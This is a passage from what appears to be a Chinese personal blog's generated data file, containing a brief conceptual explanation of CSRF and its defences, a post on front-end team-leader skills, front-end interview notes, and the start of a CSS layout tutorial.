利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。简单地说，是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。</p>\n</blockquote>\n<h3 id=\"处理方式-2\"><a href=\"#处理方式-2\" class=\"headerlink\" title=\"处理方式\"></a>处理方式</h3><ul>\n<li><p>验证码<br>在请求的同时，带个token,或者验证码</p>\n</li>\n<li><p>Referer Check<br>这个可以伪造…但加入更保险</p>\n</li>\n</ul>\n<blockquote>\n<p>注意：如果网站有XSS漏洞或者一些跨域漏洞，可能导致Token泄露。 在XSS攻击下，读取Token值，然后再构造出一个合法的请求，可以称为：XSRF。</p>\n</blockquote>\n<h2 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h2><p>web 安全是个需要长期坚持的事情，没有绝对安全的产品，我们需要做到\b的就是能够\b提前预防和及时修复。</p>\n"},{"title":"前端的职业路线","date":"2017-03-19T15:35:04.000Z","_content":"\n小结，一个优秀的前端leader，我认为应该具备的能力：\n\n### 技术功底\n> 重要功能或需求的开发，或提供解决方案，做技术选型\n\n#### 技术专攻\n    · HTML\n        理解语义化\n    · CSS\n        动态居中动画\n        Bootstrap 样式类\n        Preprocessor兼容性 \n        Hack与特征检测\n        CSS3属性与性能\n    · js\n        Name hoisting\n        Prototype\n        Closure\n        Main loop\n        Promise\n        Delegation\n        Cross domain\n    · Mobile\n        渐进增强\n        移动端交互\n        兼容性问题\n    · Debug工具 \n    · 方法性能\n        JSCache \n        control\n        性能测试\n\n### 沟通能力\n> 具备产品思维，需求分析评审，分发开发任务，和产品经理、设计师以及后端等沟通、协调\n\n### 项目管理能力\n> 开发需求的跟进，代码review，代码合并与发布等，精通svn或git是必须的，记住是精通，你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了，你至少要知道如何找回吧\n\n### 文档功力和执行力\n> 前端开发规范，开发文档、开发标准的建立和实施，关键是实施\n\n### 做老师的能力\n> 新员工的培训、辅导\n\n### 行业观察能力\n> 前端的技术更新太快了，一个优秀的前端leader还要引导团队了解和学习新的技术，为以后做技术储备\n\n### 不要太宅\n> 这很重要，技术男大多很宅，要想做一个好的leader，就要多和不同的人特别是多和沟通方面强势的人打交道。\n要不，等你做到leader的位置，即便是站在前端的角度来看有些极度不合理的需求，你也可能镇不住，天天接这样的需求，怨言就犹如漫天飞雪，受不了的人会选择离开，如果你的团队离职率高的话。。。Boss会觉得你是合适的吗？","source":"_posts/前端的职业路线.md","raw":"---\ntitle: 前端的职业路线\ndate: 2017-03-19 23:35:04\ntags: [前端规划]\ncategories: web前端\n---\n\n小结，一个优秀的前端leader，我认为应该具备的能力：\n\n### 技术功底\n> 重要功能或需求的开发，或提供解决方案，做技术选型\n\n#### 技术专攻\n    · HTML\n        理解语义化\n    · CSS\n        动态居中动画\n        Bootstrap 样式类\n        Preprocessor兼容性 \n        Hack与特征检测\n        CSS3属性与性能\n    · js\n        Name hoisting\n        Prototype\n        Closure\n        Main loop\n        Promise\n        Delegation\n        Cross domain\n    · Mobile\n        渐进增强\n        移动端交互\n        兼容性问题\n    · Debug工具 \n    · 方法性能\n        JSCache \n        control\n        性能测试\n\n### 沟通能力\n> 具备产品思维，需求分析评审，分发开发任务，和产品经理、设计师以及后端等沟通、协调\n\n### 项目管理能力\n> 开发需求的跟进，代码review，代码合并与发布等，精通svn或git是必须的，记住是精通，你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了，你至少要知道如何找回吧\n\n### 文档功力和执行力\n> 前端开发规范，开发文档、开发标准的建立和实施，关键是实施\n\n### 做老师的能力\n> 新员工的培训、辅导\n\n### 行业观察能力\n> 前端的技术更新太快了，一个优秀的前端leader还要引导团队了解和学习新的技术，为以后做技术储备\n\n### 不要太宅\n> 这很重要，技术男大多很宅，要想做一个好的leader，就要多和不同的人特别是多和沟通方面强势的人打交道。\n要不，等你做到leader的位置，即便是站在前端的角度来看有些极度不合理的需求，你也可能镇不住，天天接这样的需求，怨言就犹如漫天飞雪，受不了的人会选择离开，如果你的团队离职率高的话。。。Boss会觉得你是合适的吗？","slug":"前端的职业路线","published":1,"updated":"2018-01-22T06:35:55.681Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6d0039vzqhjzm7p6zl","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><p>小结，一个优秀的前端leader，我认为应该具备的能力：</p>\n<h3 id=\"技术功底\"><a href=\"#技术功底\" class=\"headerlink\" title=\"技术功底\"></a>技术功底</h3><blockquote>\n<p>重要功能或需求的开发，或提供解决方案，做技术选型</p>\n</blockquote>\n<h4 id=\"技术专攻\"><a href=\"#技术专攻\" class=\"headerlink\" title=\"技术专攻\"></a>技术专攻</h4><pre><code>· HTML\n    理解语义化\n· CSS\n    动态居中动画\n    Bootstrap 样式类\n    Preprocessor兼容性 \n    Hack与特征检测\n    CSS3属性与性能\n· js\n    Name hoisting\n    Prototype\n    Closure\n    Main loop\n    Promise\n    Delegation\n    Cross domain\n· Mobile\n    渐进增强\n    移动端交互\n    兼容性问题\n· Debug工具 \n· 方法性能\n    JSCache \n    control\n    性能测试\n</code></pre><h3 id=\"沟通能力\"><a href=\"#沟通能力\" class=\"headerlink\" title=\"沟通能力\"></a>沟通能力</h3><blockquote>\n<p>具备产品思维，需求分析评审，分发开发任务，和产品经理、设计师以及后端等沟通、协调</p>\n</blockquote>\n<h3 id=\"项目管理能力\"><a href=\"#项目管理能力\" class=\"headerlink\" title=\"项目管理能力\"></a>项目管理能力</h3><blockquote>\n<p>开发需求的跟进，代码review，代码合并与发布等，精通svn或git是必须的，记住是精通，你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了，你至少要知道如何找回吧</p>\n</blockquote>\n<h3 id=\"文档功力和执行力\"><a href=\"#文档功力和执行力\" class=\"headerlink\" title=\"文档功力和执行力\"></a>文档功力和执行力</h3><blockquote>\n<p>前端开发规范，开发文档、开发标准的建立和实施，关键是实施</p>\n</blockquote>\n<h3 id=\"做老师的能力\"><a href=\"#做老师的能力\" class=\"headerlink\" title=\"做老师的能力\"></a>做老师的能力</h3><blockquote>\n<p>新员工的培训、辅导</p>\n</blockquote>\n<h3 id=\"行业观察能力\"><a href=\"#行业观察能力\" class=\"headerlink\" title=\"行业观察能力\"></a>行业观察能力</h3><blockquote>\n<p>前端的技术更新太快了，一个优秀的前端leader还要引导团队了解和学习新的技术，为以后做技术储备</p>\n</blockquote>\n<h3 id=\"不要太宅\"><a href=\"#不要太宅\" class=\"headerlink\" title=\"不要太宅\"></a>不要太宅</h3><blockquote>\n<p>这很重要，技术男大多很宅，要想做一个好的leader，就要多和不同的人特别是多和沟通方面强势的人打交道。<br>要不，等你做到leader的位置，即便是站在前端的角度来看有些极度不合理的需求，你也可能镇不住，天天接这样的需求，怨言就犹如漫天飞雪，受不了的人会选择离开，如果你的团队离职率高的话。。。Boss会觉得你是合适的吗？</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<p>小结，一个优秀的前端leader，我认为应该具备的能力：</p>\n<h3 id=\"技术功底\"><a href=\"#技术功底\" class=\"headerlink\" title=\"技术功底\"></a>技术功底</h3><blockquote>\n<p>重要功能或需求的开发，或提供解决方案，做技术选型</p>\n</blockquote>\n<h4 id=\"技术专攻\"><a href=\"#技术专攻\" class=\"headerlink\" title=\"技术专攻\"></a>技术专攻</h4><pre><code>· HTML\n    理解语义化\n· CSS\n    动态居中动画\n    Bootstrap 样式类\n    Preprocessor兼容性 \n    Hack与特征检测\n    CSS3属性与性能\n· js\n    Name hoisting\n    Prototype\n    Closure\n    Main loop\n    Promise\n    Delegation\n    Cross domain\n· Mobile\n    渐进增强\n    移动端交互\n    兼容性问题\n· Debug工具 \n· 方法性能\n    JSCache \n    control\n    性能测试\n</code></pre><h3 id=\"沟通能力\"><a href=\"#沟通能力\" class=\"headerlink\" title=\"沟通能力\"></a>沟通能力</h3><blockquote>\n<p>具备产品思维，需求分析评审，分发开发任务，和产品经理、设计师以及后端等沟通、协调</p>\n</blockquote>\n<h3 id=\"项目管理能力\"><a href=\"#项目管理能力\" class=\"headerlink\" title=\"项目管理能力\"></a>项目管理能力</h3><blockquote>\n<p>开发需求的跟进，代码review，代码合并与发布等，精通svn或git是必须的，记住是精通，你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了，你至少要知道如何找回吧</p>\n</blockquote>\n<h3 id=\"文档功力和执行力\"><a href=\"#文档功力和执行力\" class=\"headerlink\" title=\"文档功力和执行力\"></a>文档功力和执行力</h3><blockquote>\n<p>前端开发规范，开发文档、开发标准的建立和实施，关键是实施</p>\n</blockquote>\n<h3 id=\"做老师的能力\"><a href=\"#做老师的能力\" class=\"headerlink\" title=\"做老师的能力\"></a>做老师的能力</h3><blockquote>\n<p>新员工的培训、辅导</p>\n</blockquote>\n<h3 id=\"行业观察能力\"><a href=\"#行业观察能力\" class=\"headerlink\" title=\"行业观察能力\"></a>行业观察能力</h3><blockquote>\n<p>前端的技术更新太快了，一个优秀的前端leader还要引导团队了解和学习新的技术，为以后做技术储备</p>\n</blockquote>\n<h3 id=\"不要太宅\"><a href=\"#不要太宅\" class=\"headerlink\" title=\"不要太宅\"></a>不要太宅</h3><blockquote>\n<p>这很重要，技术男大多很宅，要想做一个好的leader，就要多和不同的人特别是多和沟通方面强势的人打交道。<br>要不，等你做到leader的位置，即便是站在前端的角度来看有些极度不合理的需求，你也可能镇不住，天天接这样的需求，怨言就犹如漫天飞雪，受不了的人会选择离开，如果你的团队离职率高的话。。。Boss会觉得你是合适的吗？</p>\n</blockquote>\n"},{"title":"前端面试题","date":"2017-09-18T02:01:20.000Z","_content":"\n### 前言\n* 前端的难度，每18-24个月一轮回\n* 关注技术动态，跟上节奏\n\n#### 注意\n* 题目类型：理论知识，算法，项目细节，技术视野，开放性题，工作案例\n* 细节追问：可以确保问到你开始不懂和面试官开始不懂为止\n* 回答问题再棒，更要会做人\n* 要靠谱\n\n### 知识点\n\n* html & css：对web标准的理解，浏览器内核差异，兼容性，hack，css基本功：布局，盒子模型，选择器优先级，flexbox\n\n* javascript: 数据类型，运算，对象，function，继承，闭包，作用域，原型链，事件，正则（regExp），json，ajax，dom，bom，内存泄漏，跨域，异步封装，模板引擎，前端mvc，路由，模块化，canvas，es6，nodeJS\n\n* 其他：移动端，相应式，自动化构建，http，离线储存，web安全，优化，重构，团队协作，可维护，易用性，SEO，UED，架构，职业生涯，快速学习能力\n\n### html && css\n\n#### html5 为啥只需写 <!DOCTYPE HTML>\n* 不基于 SGML（通用标记语言）\n\n### iframe 缺点？\n* 阻塞搜索引擎，不利于SEO\n* 和主页面共享连接池，影响连接速度\n* 如果要用，建议用 js 动态添加 src 可以绕开以上问题\n\n\n### javascript\n\n#### 如何实现 js 与 json 互换\n* json 化\n> var json = JSON.stringfy({a: 'hello', b: 'world'})\n* 字符串化\n> var obj = JSON.parse('{\"a\": \"hello\"}')\n\n\n### 其他\n","source":"_posts/前端面试题.md","raw":"---\ntitle: 前端面试题\ndate: 2017-09-18 10:01:20\ntags: [面试]\ncategories: web前端\n---\n\n### 前言\n* 前端的难度，每18-24个月一轮回\n* 关注技术动态，跟上节奏\n\n#### 注意\n* 题目类型：理论知识，算法，项目细节，技术视野，开放性题，工作案例\n* 细节追问：可以确保问到你开始不懂和面试官开始不懂为止\n* 回答问题再棒，更要会做人\n* 要靠谱\n\n### 知识点\n\n* html & css：对web标准的理解，浏览器内核差异，兼容性，hack，css基本功：布局，盒子模型，选择器优先级，flexbox\n\n* javascript: 数据类型，运算，对象，function，继承，闭包，作用域，原型链，事件，正则（regExp），json，ajax，dom，bom，内存泄漏，跨域，异步封装，模板引擎，前端mvc，路由，模块化，canvas，es6，nodeJS\n\n* 其他：移动端，相应式，自动化构建，http，离线储存，web安全，优化，重构，团队协作，可维护，易用性，SEO，UED，架构，职业生涯，快速学习能力\n\n### html && css\n\n#### html5 为啥只需写 <!DOCTYPE HTML>\n* 不基于 SGML（通用标记语言）\n\n### iframe 缺点？\n* 阻塞搜索引擎，不利于SEO\n* 和主页面共享连接池，影响连接速度\n* 如果要用，建议用 js 动态添加 src 可以绕开以上问题\n\n\n### javascript\n\n#### 如何实现 js 与 json 互换\n* json 化\n> var json = JSON.stringfy({a: 'hello', b: 'world'})\n* 字符串化\n> var obj = JSON.parse('{\"a\": \"hello\"}')\n\n\n### 其他\n","slug":"前端面试题","published":1,"updated":"2018-01-22T06:36:36.045Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6e003bvzqh7pelmhc2","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"前言\"><a href=\"#前言\" class=\"headerlink\" title=\"前言\"></a>前言</h3><ul>\n<li>前端的难度，每18-24个月一轮回</li>\n<li>关注技术动态，跟上节奏</li>\n</ul>\n<h4 id=\"注意\"><a href=\"#注意\" class=\"headerlink\" title=\"注意\"></a>注意</h4><ul>\n<li>题目类型：理论知识，算法，项目细节，技术视野，开放性题，工作案例</li>\n<li>细节追问：可以确保问到你开始不懂和面试官开始不懂为止</li>\n<li>回答问题再棒，更要会做人</li>\n<li>要靠谱</li>\n</ul>\n<h3 id=\"知识点\"><a href=\"#知识点\" class=\"headerlink\" title=\"知识点\"></a>知识点</h3><ul>\n<li><p>html &amp; css：对web标准的理解，浏览器内核差异，兼容性，hack，css基本功：布局，盒子模型，选择器优先级，flexbox</p>\n</li>\n<li><p>javascript: 数据类型，运算，对象，function，继承，闭包，作用域，原型链，事件，正则（regExp），json，ajax，dom，bom，内存泄漏，跨域，异步封装，模板引擎，前端mvc，路由，模块化，canvas，es6，nodeJS</p>\n</li>\n<li><p>其他：移动端，相应式，自动化构建，http，离线储存，web安全，优化，重构，团队协作，可维护，易用性，SEO，UED，架构，职业生涯，快速学习能力</p>\n</li>\n</ul>\n<h3 id=\"html-amp-amp-css\"><a href=\"#html-amp-amp-css\" class=\"headerlink\" title=\"html &amp;&amp; css\"></a>html &amp;&amp; css</h3><h4 id=\"html5-为啥只需写-lt-DOCTYPE-HTML-gt\"><a href=\"#html5-为啥只需写-lt-DOCTYPE-HTML-gt\" class=\"headerlink\" title=\"html5 为啥只需写 &lt;!DOCTYPE HTML&gt;\"></a>html5 为啥只需写 &lt;!DOCTYPE HTML&gt;</h4><ul>\n<li>不基于 SGML（通用标记语言）</li>\n</ul>\n<h3 id=\"iframe-缺点？\"><a href=\"#iframe-缺点？\" class=\"headerlink\" title=\"iframe 缺点？\"></a>iframe 缺点？</h3><ul>\n<li>阻塞搜索引擎，不利于SEO</li>\n<li>和主页面共享连接池，影响连接速度</li>\n<li>如果要用，建议用 js 动态添加 src 可以绕开以上问题</li>\n</ul>\n<h3 id=\"javascript\"><a href=\"#javascript\" class=\"headerlink\" title=\"javascript\"></a>javascript</h3><h4 id=\"如何实现-js-与-json-互换\"><a href=\"#如何实现-js-与-json-互换\" class=\"headerlink\" title=\"如何实现 js 与 json 互换\"></a>如何实现 js 与 json 互换</h4><ul>\n<li>json 化<blockquote>\n<p>var json = JSON.stringfy({a: ‘hello’, b: ‘world’})</p>\n</blockquote>\n</li>\n<li>字符串化<blockquote>\n<p>var obj = JSON.parse(‘{“a”: “hello”}’)</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"其他\"><a href=\"#其他\" class=\"headerlink\" title=\"其他\"></a>其他</h3>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 id=\"前言\"><a href=\"#前言\" class=\"headerlink\" title=\"前言\"></a>前言</h3><ul>\n<li>前端的难度，每18-24个月一轮回</li>\n<li>关注技术动态，跟上节奏</li>\n</ul>\n<h4 id=\"注意\"><a href=\"#注意\" class=\"headerlink\" title=\"注意\"></a>注意</h4><ul>\n<li>题目类型：理论知识，算法，项目细节，技术视野，开放性题，工作案例</li>\n<li>细节追问：可以确保问到你开始不懂和面试官开始不懂为止</li>\n<li>回答问题再棒，更要会做人</li>\n<li>要靠谱</li>\n</ul>\n<h3 id=\"知识点\"><a href=\"#知识点\" class=\"headerlink\" title=\"知识点\"></a>知识点</h3><ul>\n<li><p>html &amp; css：对web标准的理解，浏览器内核差异，兼容性，hack，css基本功：布局，盒子模型，选择器优先级，flexbox</p>\n</li>\n<li><p>javascript: 数据类型，运算，对象，function，继承，闭包，作用域，原型链，事件，正则（regExp），json，ajax，dom，bom，内存泄漏，跨域，异步封装，模板引擎，前端mvc，路由，模块化，canvas，es6，nodeJS</p>\n</li>\n<li><p>其他：移动端，相应式，自动化构建，http，离线储存，web安全，优化，重构，团队协作，可维护，易用性，SEO，UED，架构，职业生涯，快速学习能力</p>\n</li>\n</ul>\n<h3 id=\"html-amp-amp-css\"><a href=\"#html-amp-amp-css\" class=\"headerlink\" title=\"html &amp;&amp; css\"></a>html &amp;&amp; css</h3><h4 id=\"html5-为啥只需写-lt-DOCTYPE-HTML-gt\"><a href=\"#html5-为啥只需写-lt-DOCTYPE-HTML-gt\" class=\"headerlink\" title=\"html5 为啥只需写 &lt;!DOCTYPE HTML&gt;\"></a>html5 为啥只需写 &lt;!DOCTYPE HTML&gt;</h4><ul>\n<li>不基于 SGML（通用标记语言）</li>\n</ul>\n<h3 id=\"iframe-缺点？\"><a href=\"#iframe-缺点？\" class=\"headerlink\" title=\"iframe 缺点？\"></a>iframe 缺点？</h3><ul>\n<li>阻塞搜索引擎，不利于SEO</li>\n<li>和主页面共享连接池，影响连接速度</li>\n<li>如果要用，建议用 js 动态添加 src 可以绕开以上问题</li>\n</ul>\n<h3 id=\"javascript\"><a href=\"#javascript\" class=\"headerlink\" title=\"javascript\"></a>javascript</h3><h4 id=\"如何实现-js-与-json-互换\"><a href=\"#如何实现-js-与-json-互换\" class=\"headerlink\" title=\"如何实现 js 与 json 互换\"></a>如何实现 js 与 json 互换</h4><ul>\n<li>json 化<blockquote>\n<p>var json = JSON.stringfy({a: ‘hello’, b: ‘world’})</p>\n</blockquote>\n</li>\n<li>字符串化<blockquote>\n<p>var obj = JSON.parse(‘{“a”: “hello”}’)</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"其他\"><a href=\"#其他\" class=\"headerlink\" title=\"其他\"></a>其他</h3>"},{"title":"四种常见的布局","date":"2017-06-28T08:16:11.000Z","_content":"\n对于一个对界要求很高的人来说，今天有必要研究下各种常见的布局，目前罗列了四种布局，来来来，一起看看\n\n[demo](http://jzxer.cn/layout/)\n\n### 绝对定位法\n> 左右两栏采用绝对定位，中间的由两边的margin撑开\n```\n<body>\n    <div id=\"main\"></div>\n    <div id=\"left\"></div>\n    <div id=\"right\"></div>\n</body>\n\n#main {\n    margin:0 200px;\n    background:red;\n}\n#left{\n    position:absolute;\n    top:0;left:0;\n    width:200px;\n    background:blue;\n    height:100%;\n} \n#right{\n    position:absolute;\n    top:0;right:0;\n    width:200px;\n    background:green;\n    height:100%;\n}\n\n```\n这种布局缺点是，当缩放到一定大小的时候，会出现重叠现象\n\n### 自身浮动法\n> 左栏左浮动，右栏右浮动，中间栏放最后\n```\n    <body>\n        <div id=\"left\"></div>\n        <div id=\"right\"></div>\n        <div id=\"main\"></div>\n    </body>　\n\n    #main {margin:0 200px;background:red;}\n    #left{float:left;width:200px;background:blue;height:100%;}\n    